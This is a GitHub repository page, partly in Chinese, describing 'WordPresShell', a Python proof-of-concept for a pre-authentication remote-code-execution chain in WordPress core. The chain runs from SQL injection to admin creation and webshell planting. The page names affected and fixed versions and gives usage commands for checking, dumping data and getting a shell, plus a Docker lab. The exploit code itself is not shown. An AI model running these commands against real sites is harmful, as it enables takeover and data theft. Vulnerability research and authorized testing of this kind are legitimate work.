securelayer7/WordPresShell

GitHub: securelayer7/WordPresShell

一个利用 WordPress 核心组合漏洞实现认证前 RCE 的 Python 单文件 PoC,涵盖从 SQL 注入到 webshell 植入的完整攻击链。

Stars: 2 | Forks: 0

# WordPresShell 针对 **CVE-2026-63030** + **CVE-2026-60137** (WordPress core) 的认证前 RCE PoC。 REST `/batch/v1` 路由混淆 → `WP_Query author__not_in` SQLi → 未经认证的管理员创建 → webshell。单文件,仅使用 Python 标准库。 漏洞发现者:Adam Kues (Searchlight Cyber)。受影响版本:6.9.0–6.9.4,7.0.0–7.0.1。已修复版本:6.9.5 / 7.0.2。 ## 用法 ``` python3 WordPresShell.py check http://target # confirm (non-destructive) python3 WordPresShell.py dump http://target [--query "SELECT @@version"] python3 WordPresShell.py shell http://target --cmd "id" # crack-free RCE python3 WordPresShell.py shell http://target -i # interactive python3 WordPresShell.py shell http://target --user U --password P --cmd id ``` ## 实验 ``` docker compose up -d # WordPress 7.0.1 on :8092 docker compose down -v # teardown ``` `shell` 会创建一个管理员并植入一个 webshell —— 测试后请将两者一并移除。 仅限授权测试。
标签:CISA项目, Python, WordPress, 无后门, 漏洞验证程序(PoC), 版权保护, 编程工具, 请求拦截, 远程代码执行, 逆向工具